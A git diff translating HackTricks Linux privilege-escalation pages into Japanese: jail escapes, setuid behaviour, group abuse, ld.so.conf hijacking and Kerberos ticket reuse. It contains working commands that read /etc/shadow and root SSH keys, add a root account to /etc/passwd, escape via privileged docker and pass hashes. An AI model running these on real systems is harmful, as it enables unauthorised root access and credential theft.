[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ [https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\ -**It could also be interesting the page:** +**ページも興味深いかもしれません:** {{#ref}} ../bypass-bash-restrictions/ {{#endref}} -## Python Jails +## Python ジェイル -Tricks about escaping from python jails in the following page: +次のページで Python ジェイルからの脱出に関するトリックがあります: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} -## Lua Jails +## Lua ジェイル -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) - -**Eval with command execution:** +このページでは、lua 内でアクセスできるグローバル関数を見つけることができます: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) +**コマンド実行を伴う Eval:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` - -Some tricks to **call functions of a library without using dots**: - +ライブラリの**関数をドットを使わずに呼び出す**ためのいくつかのトリック: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` - -Enumerate functions of a library: - +ライブラリの関数を列挙する: ```bash for k,v in pairs(string) do print(k,v) end ``` - -Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library: - +注意してください。前のワンライナーを**異なるlua環境で実行するたびに関数の順序が変わります**。したがって、特定の関数を実行する必要がある場合は、異なるlua環境をロードしてleライブラリの最初の関数を呼び出すことでブルートフォース攻撃を行うことができます。 ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -278,15 +249,12 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` - -**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: - +**インタラクティブなluaシェルを取得する**: 制限されたluaシェル内にいる場合は、次のように呼び出すことで新しいluaシェル(できれば無制限)を取得できます: ```bash debug.debug() ``` +## 参考文献 -## References - -- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) +- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (スライド: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md index f9846b44b..e47df57c1 100644 --- a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md +++ b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md @@ -2,88 +2,79 @@ {{#include ../../banners/hacktricks-training.md}} -
+### ユーザー識別変数 -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +- **`ruid`**: **実ユーザーID**は、プロセスを開始したユーザーを示します。 +- **`euid`**: **有効ユーザーID**として知られ、システムがプロセスの特権を確認するために使用するユーザーの識別を表します。一般的に、`euid`は`ruid`と同じですが、SetUIDバイナリの実行のような場合には、`euid`がファイル所有者の識別を引き受け、特定の操作権限を付与します。 +- **`suid`**: この**保存されたユーザーID**は、高特権プロセス(通常はrootとして実行される)が特定のタスクを実行するために一時的に特権を放棄し、後に元の昇格した状態を取り戻す必要があるときに重要です。 -{% embed url="https://academy.8ksec.io/" %} +#### 重要な注意 -### User Identification Variables +rootでないプロセスは、`euid`を現在の`ruid`、`euid`、または`suid`に一致させることしかできません。 -- **`ruid`**: The **real user ID** denotes the user who initiated the process. -- **`euid`**: Known as the **effective user ID**, it represents the user identity utilized by the system to ascertain process privileges. Generally, `euid` mirrors `ruid`, barring instances like a SetUID binary execution, where `euid` assumes the file owner's identity, thus granting specific operational permissions. -- **`suid`**: This **saved user ID** is pivotal when a high-privilege process (typically running as root) needs to temporarily relinquish its privileges to perform certain tasks, only to later reclaim its initial elevated status. +### set\*uid関数の理解 -#### Important Note +- **`setuid`**: 初期の仮定とは異なり、`setuid`は主に`ruid`ではなく`euid`を変更します。具体的には、特権プロセスの場合、指定されたユーザー(通常はroot)に`ruid`、`euid`、および`suid`を合わせ、これらのIDを上書きする`suid`によって強化します。詳細な情報は、[setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html)で確認できます。 +- **`setreuid`**および**`setresuid`**: これらの関数は、`ruid`、`euid`、および`suid`の微妙な調整を可能にします。ただし、その機能はプロセスの特権レベルに依存します。rootでないプロセスの場合、変更は現在の`ruid`、`euid`、および`suid`の値に制限されます。一方、rootプロセスまたは`CAP_SETUID`権限を持つプロセスは、これらのIDに任意の値を割り当てることができます。詳細は、[setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html)および[setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html)で確認できます。 -A process not operating under root can only modify its `euid` to match the current `ruid`, `euid`, or `suid`. +これらの機能は、セキュリティメカニズムとしてではなく、プログラムが有効ユーザーIDを変更して他のユーザーの識別を採用するなど、意図された操作フローを促進するために設計されています。 -### Understanding set\*uid Functions +特に、`setuid`はrootへの特権昇格の一般的な手段である一方で、これらの関数の違いを理解し、さまざまなシナリオでユーザーIDの動作を操作することが重要です。 -- **`setuid`**: Contrary to initial assumptions, `setuid` primarily modifies `euid` rather than `ruid`. Specifically, for privileged processes, it aligns `ruid`, `euid`, and `suid` with the specified user, often root, effectively solidifying these IDs due to the overriding `suid`. Detailed insights can be found in the [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html). -- **`setreuid`** and **`setresuid`**: These functions allow for the nuanced adjustment of `ruid`, `euid`, and `suid`. However, their capabilities are contingent on the process's privilege level. For non-root processes, modifications are restricted to the current values of `ruid`, `euid`, and `suid`. In contrast, root processes or those with `CAP_SETUID` capability can assign arbitrary values to these IDs. More information can be gleaned from the [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) and the [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html). +### Linuxにおけるプログラム実行メカニズム -These functionalities are designed not as a security mechanism but to facilitate the intended operational flow, such as when a program adopts another user's identity by altering its effective user ID. +#### **`execve`システムコール** -Notably, while `setuid` might be a common go-to for privilege elevation to root (since it aligns all IDs to root), differentiating between these functions is crucial for understanding and manipulating user ID behaviors in varying scenarios. +- **機能**: `execve`は、最初の引数によって決定されるプログラムを開始します。2つの配列引数、`argv`(引数用)と`envp`(環境用)を取ります。 +- **動作**: 呼び出し元のメモリ空間を保持しますが、スタック、ヒープ、およびデータセグメントを更新します。プログラムのコードは新しいプログラムによって置き換えられます。 +- **ユーザーIDの保持**: +- `ruid`、`euid`、および追加のグループIDは変更されません。 +- 新しいプログラムにSetUIDビットが設定されている場合、`euid`に微妙な変更があるかもしれません。 +- 実行後に`suid`は`euid`から更新されます。 +- **文書**: 詳細な情報は[`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html)で確認できます。 -### Program Execution Mechanisms in Linux +#### **`system`関数** -#### **`execve` System Call** +- **機能**: `execve`とは異なり、`system`は`fork`を使用して子プロセスを作成し、その子プロセス内でコマンドを実行します。 +- **コマンド実行**: `sh`を介してコマンドを実行します。`execl("/bin/sh", "sh", "-c", command, (char *) NULL);`。 +- **動作**: `execl`は`execve`の一形態であり、同様に動作しますが、新しい子プロセスの文脈で実行されます。 +- **文書**: さらなる情報は[`system` man page](https://man7.org/linux/man-pages/man3/system.3.html)で得られます。 -- **Functionality**: `execve` initiates a program, determined by the first argument. It takes two array arguments, `argv` for arguments and `envp` for the environment. -- **Behavior**: It retains the memory space of the caller but refreshes the stack, heap, and data segments. The program's code is replaced by the new program. -- **User ID Preservation**: - - `ruid`, `euid`, and supplementary group IDs remain unaltered. - - `euid` might have nuanced changes if the new program has the SetUID bit set. - - `suid` gets updated from `euid` post-execution. -- **Documentation**: Detailed information can be found on the [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html). - -#### **`system` Function** - -- **Functionality**: Unlike `execve`, `system` creates a child process using `fork` and executes a command within that child process using `execl`. -- **Command Execution**: Executes the command via `sh` with `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`. -- **Behavior**: As `execl` is a form of `execve`, it operates similarly but in the context of a new child process. -- **Documentation**: Further insights can be obtained from the [`system` man page](https://man7.org/linux/man-pages/man3/system.3.html). - -#### **Behavior of `bash` and `sh` with SUID** +#### **SUIDを持つ`bash`と`sh`の動作** - **`bash`**: - - Has a `-p` option influencing how `euid` and `ruid` are treated. - - Without `-p`, `bash` sets `euid` to `ruid` if they initially differ. - - With `-p`, the initial `euid` is preserved. - - More details can be found on the [`bash` man page](https://linux.die.net/man/1/bash). +- `euid`と`ruid`の扱いに影響を与える`-p`オプションがあります。 +- `-p`なしでは、`bash`は`euid`を`ruid`に設定します(最初に異なる場合)。 +- `-p`がある場合、最初の`euid`が保持されます。 +- 詳細は[`bash` man page](https://linux.die.net/man/1/bash)で確認できます。 - **`sh`**: - - Does not possess a mechanism similar to `-p` in `bash`. - - The behavior concerning user IDs is not explicitly mentioned, except under the `-i` option, emphasizing the preservation of `euid` and `ruid` equality. - - Additional information is available on the [`sh` man page](https://man7.org/linux/man-pages/man1/sh.1p.html). +- `bash`の`-p`に類似したメカニズムはありません。 +- ユーザーIDに関する動作は明示的に記載されていませんが、`-i`オプションの下で`euid`と`ruid`の等価性の保持が強調されています。 +- 追加情報は[`sh` man page](https://man7.org/linux/man-pages/man1/sh.1p.html)で確認できます。 -These mechanisms, distinct in their operation, offer a versatile range of options for executing and transitioning between programs, with specific nuances in how user IDs are managed and preserved. +これらのメカニズムは、それぞれ異なる動作を持ち、プログラムの実行と遷移のための多様なオプションを提供し、ユーザーIDの管理と保持における特定のニュアンスを持っています。 -### Testing User ID Behaviors in Executions +### 実行におけるユーザーIDの動作のテスト -Examples taken from https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, check it for further information +例はhttps://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jailから取得されており、さらなる情報はそちらで確認できます。 -#### Case 1: Using `setuid` with `system` +#### ケース1: `system`との`setuid`の使用 -**Objective**: Understanding the effect of `setuid` in combination with `system` and `bash` as `sh`. - -**C Code**: +**目的**: `system`と`bash`を`sh`として組み合わせたときの`setuid`の効果を理解すること。 +**Cコード**: ```c #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - system("id"); - return 0; +setuid(1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**コンパイルと権限:** ```bash oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a; oxdf@hacky$ chmod 4755 /mnt/nfsshare/a @@ -93,132 +84,108 @@ oxdf@hacky$ chmod 4755 /mnt/nfsshare/a bash-4.2$ $ ./a uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**分析:** -**Analysis:** +- `ruid` と `euid` はそれぞれ 99 (nobody) と 1000 (frank) から始まります。 +- `setuid` は両方を 1000 に揃えます。 +- `system` は `/bin/bash -c id` を実行します。これは sh から bash へのシンボリックリンクによるものです。 +- `bash` は `-p` なしで `euid` を `ruid` に合わせるため、両方が 99 (nobody) になります。 -- `ruid` and `euid` start as 99 (nobody) and 1000 (frank) respectively. -- `setuid` aligns both to 1000. -- `system` executes `/bin/bash -c id` due to the symlink from sh to bash. -- `bash`, without `-p`, adjusts `euid` to match `ruid`, resulting in both being 99 (nobody). - -#### Case 2: Using setreuid with system - -**C Code**: +#### ケース 2: system と setreuid を使用する +**C コード**: ```c #define _GNU_SOURCE #include #include int main(void) { - setreuid(1000, 1000); - system("id"); - return 0; +setreuid(1000, 1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**コンパイルと権限:** ```bash oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b ``` - -**Execution and Result:** - +**実行と結果:** ```bash bash-4.2$ $ ./b uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**分析:** -**Analysis:** +- `setreuid` は ruid と euid の両方を 1000 に設定します。 +- `system` は bash を呼び出し、ユーザー ID の等価性によりそれらを維持し、実質的に frank として動作します。 -- `setreuid` sets both ruid and euid to 1000. -- `system` invokes bash, which maintains the user IDs due to their equality, effectively operating as frank. - -#### Case 3: Using setuid with execve - -Objective: Exploring the interaction between setuid and execve. +#### ケース 3: execve と setuid の相互作用を使用する +目的: setuid と execve の相互作用を探ること。 ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/usr/bin/id", NULL, NULL); - return 0; +setuid(1000); +execve("/usr/bin/id", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**実行と結果:** ```bash bash-4.2$ $ ./c uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**分析:** -**Analysis:** - -- `ruid` remains 99, but euid is set to 1000, in line with setuid's effect. - -**C Code Example 2 (Calling Bash):** +- `ruid` は 99 のままですが、euid は setuid の効果に従って 1000 に設定されています。 +**C コード例 2 (Bash を呼び出す):** ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/bin/bash", NULL, NULL); - return 0; +setuid(1000); +execve("/bin/bash", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**実行と結果:** ```bash bash-4.2$ $ ./d bash-4.2$ $ id uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**分析:** -**Analysis:** - -- Although `euid` is set to 1000 by `setuid`, `bash` resets euid to `ruid` (99) due to the absence of `-p`. - -**C Code Example 3 (Using bash -p):** +- `euid` は `setuid` によって 1000 に設定されていますが、`bash` は `-p` がないため `ruid` (99) に `euid` をリセットします。 +**C コード例 3 (bash -p を使用):** ```bash #define _GNU_SOURCE #include #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - setuid(1000); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +setuid(1000); +execve(paramList[0], paramList, NULL); +return 0; } ``` - -**Execution and Result:** - +**実行と結果:** ```bash bash-4.2$ $ ./e bash-4.2$ $ id uid=99(nobody) gid=99(nobody) euid=100 ``` - -## References +## 参考文献 - [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index bc7333e67..722fa9da9 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -22,16 +22,16 @@ sudo su ``` ### PE - Method 2 -すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるかどうかを確認します: +すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるか確認します: ```bash find / -perm -4000 2>/dev/null ``` -バイナリ **pkexec が SUID バイナリ** であり、あなたが **sudo** または **admin** に属している場合、`pkexec` を使用して sudo としてバイナリを実行できる可能性があります。\ -これは通常、これらが **polkit ポリシー** 内のグループであるためです。このポリシーは基本的にどのグループが `pkexec` を使用できるかを特定します。次のコマンドで確認してください: +もしバイナリ **pkexec が SUID バイナリ** であり、あなたが **sudo** または **admin** に属している場合、`pkexec` を使用して sudo としてバイナリを実行できる可能性があります。\ +これは通常、これらが **polkit ポリシー** 内のグループであるためです。このポリシーは基本的に、どのグループが `pkexec` を使用できるかを特定します。次のコマンドで確認してください: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxディストリビューションでは、**sudo**および**admin**グループが表示されるかを見つけることができます。 +そこでは、どのグループが **pkexec** を実行することを許可されているか、そして **デフォルトで** 一部のLinuxディストリビューションでは **sudo** および **admin** グループが表示されるかを見つけることができます。 **rootになるには、次のコマンドを実行できます**: ```bash @@ -62,23 +62,23 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。 -この場合、**rootになるには、単に次を実行すればよい**: +この場合、**rootになるには次のコマンドを実行するだけです**: ``` sudo su ``` ## Shadow Group -**shadow** グループのユーザーは **/etc/shadow** ファイルを **読み取る** ことができます: +**shadow** グループのユーザーは **/etc/shadow** ファイルを **読む** ことができます: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -なので、ファイルを読み、**ハッシュをいくつかクラック**してみてください。 +So, read the file and try to **crack some hashes**. ## スタッフグループ -**staff**: ユーザーがルート権限を必要とせずにシステムにローカルな変更を加えることを許可します(`/usr/local`)。 `/usr/local/bin`内の実行可能ファイルは、すべてのユーザーのPATH変数に含まれており、同じ名前の`/bin`および`/usr/bin`内の実行可能ファイルを「上書き」する可能性があります。 監視/セキュリティに関連する「adm」グループと比較してください。 [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: ユーザーがルート権限を必要とせずにシステムにローカル変更を加えることを許可します(`/usr/local/bin` の実行可能ファイルはすべてのユーザーのPATH変数に含まれており、同じ名前の `/bin` および `/usr/bin` の実行可能ファイルを「上書き」する可能性があります)。 監視/セキュリティに関連する「adm」グループと比較してください。 [\[source\]](https://wiki.debian.org/SystemGroups) -debianディストリビューションでは、`$PATH`変数は、特権ユーザーであろうとなかろうと、`/usr/local/`が最優先で実行されることを示しています。 +debianディストリビューションでは、`$PATH` 変数は `/usr/local/` が最優先で実行されることを示しています。特権ユーザーであろうとなかろうと。 ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -88,7 +88,7 @@ $ echo $PATH ``` `/usr/local`にあるいくつかのプログラムをハイジャックできれば、簡単にrootを取得できます。 -`run-parts`プログラムをハイジャックすることは、rootを取得する簡単な方法です。なぜなら、ほとんどのプログラムは`run-parts`を実行するからです(crontabやSSHログイン時など)。 +`run-parts`プログラムをハイジャックすることは、rootを取得する簡単な方法です。なぜなら、ほとんどのプログラムは`run-parts`を実行するからです(crontabやsshログイン時など)。 ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -141,7 +141,7 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` -debugfsを使用すると、**ファイルを書き込む**こともできることに注意してください。たとえば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: +注意として、debugfsを使用すると**ファイルを書き込む**こともできます。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt @@ -158,7 +158,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。 -**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 +**video group**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を**生データで取得し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -171,11 +171,11 @@ cat /sys/class/graphics/fb0/virtual_size ![](<../../../images/image (317).png>) -## Root Group +## ルートグループ -デフォルトでは、**rootグループのメンバー**は、**サービス**の設定ファイルや**ライブラリ**ファイル、または特権昇格に使用できる**他の興味深いもの**を**変更**するアクセス権を持っているようです... +デフォルトでは、**ルートグループのメンバー**は、**サービス**の設定ファイルやいくつかの**ライブラリ**ファイル、または特権昇格に使用できる**その他の興味深いもの**を**変更**するアクセス権を持っているようです... -**rootメンバーが変更できるファイルを確認する**: +**ルートメンバーが変更できるファイルを確認する**: ```bash find / -group root -perm -g=w 2>/dev/null ``` @@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -最後に、以前の提案が気に入らない場合や、何らかの理由で機能しない場合(docker api firewall?)、ここで説明されているように、**特権コンテナを実行してそこから脱出する**ことを試みることができます: +最後に、前の提案が気に入らない場合や、何らかの理由で機能していない場合(docker api firewall?)、ここで説明されているように、**特権コンテナを実行してそこから脱出する**ことを試すことができます: {{#ref}} ../docker-security/ @@ -218,7 +218,7 @@ dockerソケットに書き込み権限がある場合は、[**dockerソケッ ## Auth グループ -OpenBSD内では、**auth** グループは通常、_**/etc/skey**_ および _**/var/db/yubikey**_ フォルダーに書き込むことができます。\ -これらの権限は、以下のエクスプロイトを使用して**特権を昇格させる**ために悪用される可能性があります:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +OpenBSD内では、**auth** グループは通常、使用されている場合に _**/etc/skey**_ と _**/var/db/yubikey**_ フォルダーに書き込むことができます。\ +これらの権限は、特権をrootに昇格させるために次のエクスプロイトを悪用することができます:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index 9899f2f3b..d9779c08b 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -4,7 +4,7 @@ ## 環境の準備 -次のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます +次のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます。 {{#tabs}} {{#tab name="sharedvuln.c"}} @@ -61,12 +61,12 @@ Hi ``` ## Exploit -このシナリオでは、**誰かが_/etc/ld.so.conf/_内に脆弱なエントリを作成した**と仮定します: +このシナリオでは、**誰かがファイル内に脆弱なエントリを作成したと仮定します** _/etc/ld.so.conf/_: ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` 脆弱なフォルダーは _/home/ubuntu/lib_ です(書き込みアクセスがあります)。\ -**次のコードをそのパス内でダウンロードしてコンパイル**してください: +**次のコードをそのパス内でダウンロードしてコンパイルします:** ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -91,7 +91,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` -ご覧のとおり、**`/home/ubuntu/lib`から読み込んでおり**、ユーザーがそれを実行するとシェルが実行されます: +ご覧のとおり、**`/home/ubuntu/lib` から読み込んでおり**、ユーザーがそれを実行するとシェルが実行されます: ```c $ ./sharedvuln Welcome to my amazing application! @@ -105,13 +105,13 @@ ubuntu ### 他の誤設定 - 同じ脆弱性 前の例では、管理者が**`/etc/ld.so.conf.d/`内の設定ファイルに非特権フォルダーを設定した**という誤設定を偽装しました。\ -しかし、同じ脆弱性を引き起こす他の誤設定もあります。もし`/etc/ld.so.conf.d`内のいくつかの**設定ファイル**、`/etc/ld.so.conf.d`フォルダー内、または`/etc/ld.so.conf`ファイル内に**書き込み権限**がある場合、同じ脆弱性を設定して悪用することができます。 +しかし、同じ脆弱性を引き起こす他の誤設定もあります。`/etc/ld.so.conf.d`内のいくつかの**設定ファイル**、`/etc/ld.so.conf.d`フォルダー内、または`/etc/ld.so.conf`ファイル内に**書き込み権限**がある場合、同じ脆弱性を設定して悪用することができます。 ## エクスプロイト 2 **`ldconfig`に対してsudo権限を持っていると仮定します**。\ `ldconfig`に**設定ファイルをどこから読み込むかを指示することができます**。これを利用して`ldconfig`に任意のフォルダーを読み込ませることができます。\ -では、"/tmp"を読み込むために必要なファイルとフォルダーを作成しましょう: +それでは、"/tmp"を読み込むために必要なファイルとフォルダーを作成しましょう: ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 2f6f24122..a30edf5af 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -4,15 +4,15 @@ LinuxマシンはActive Directory環境内に存在することもあります。 -AD内のLinuxマシンは、**ファイル内に異なるCCACHEチケットを保存している可能性があります。このチケットは他のKerberosチケットと同様に使用および悪用できます**。これらのチケットを読み取るには、チケットのユーザー所有者であるか、**root**である必要があります。 +AD内のLinuxマシンは、**異なるCCACHEチケットをファイル内に保存している可能性があります。このチケットは他のKerberosチケットと同様に使用および悪用できます**。これらのチケットを読み取るには、チケットのユーザー所有者であるか、**root**である必要があります。 ## 列挙 ### LinuxからのAD列挙 -Linux(またはWindowsのbash)でADにアクセスできる場合、ADを列挙するために[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試すことができます。 +Linux(またはWindowsのbash)でADにアクセスできる場合、[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試してADを列挙できます。 -LinuxからADを列挙する**他の方法**を学ぶために、次のページも確認できます: +LinuxからADを列挙する**他の方法**を学ぶには、次のページを確認してください: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -40,7 +40,7 @@ FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory** CCACHEファイルは**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに関連する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。 -`env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。 +`env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。この形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。 ```bash # Find tickets ls /tmp/ | grep krb5cc @@ -62,7 +62,7 @@ make CONF=Release ``` この手順は、さまざまなセッションに注入を試み、抽出されたチケットを `/tmp` に `__krb_UID.ccache` という命名規則で保存することで成功を示します。 -### SSSD KCMからのCCACHEチケットの再利用 +### SSSD KCMからのCCACHEチケット再利用 SSSDは、パス `/var/lib/sss/secrets/secrets.ldb` にデータベースのコピーを保持しています。対応するキーは、パス `/var/lib/sss/secrets/.secrets.mkey` に隠しファイルとして保存されています。デフォルトでは、キーは **root** 権限を持っている場合にのみ読み取ることができます。 @@ -97,7 +97,7 @@ macOSでは、**`bifrost`**はkeytabファイル分析のためのツールと ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` -抽出されたアカウントとハッシュ情報を利用して、**`crackmapexec`**のようなツールを使用してサーバーへの接続を確立できます。 +抽出したアカウントとハッシュ情報を利用して、**`crackmapexec`**のようなツールを使用してサーバーへの接続を確立できます。 ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md 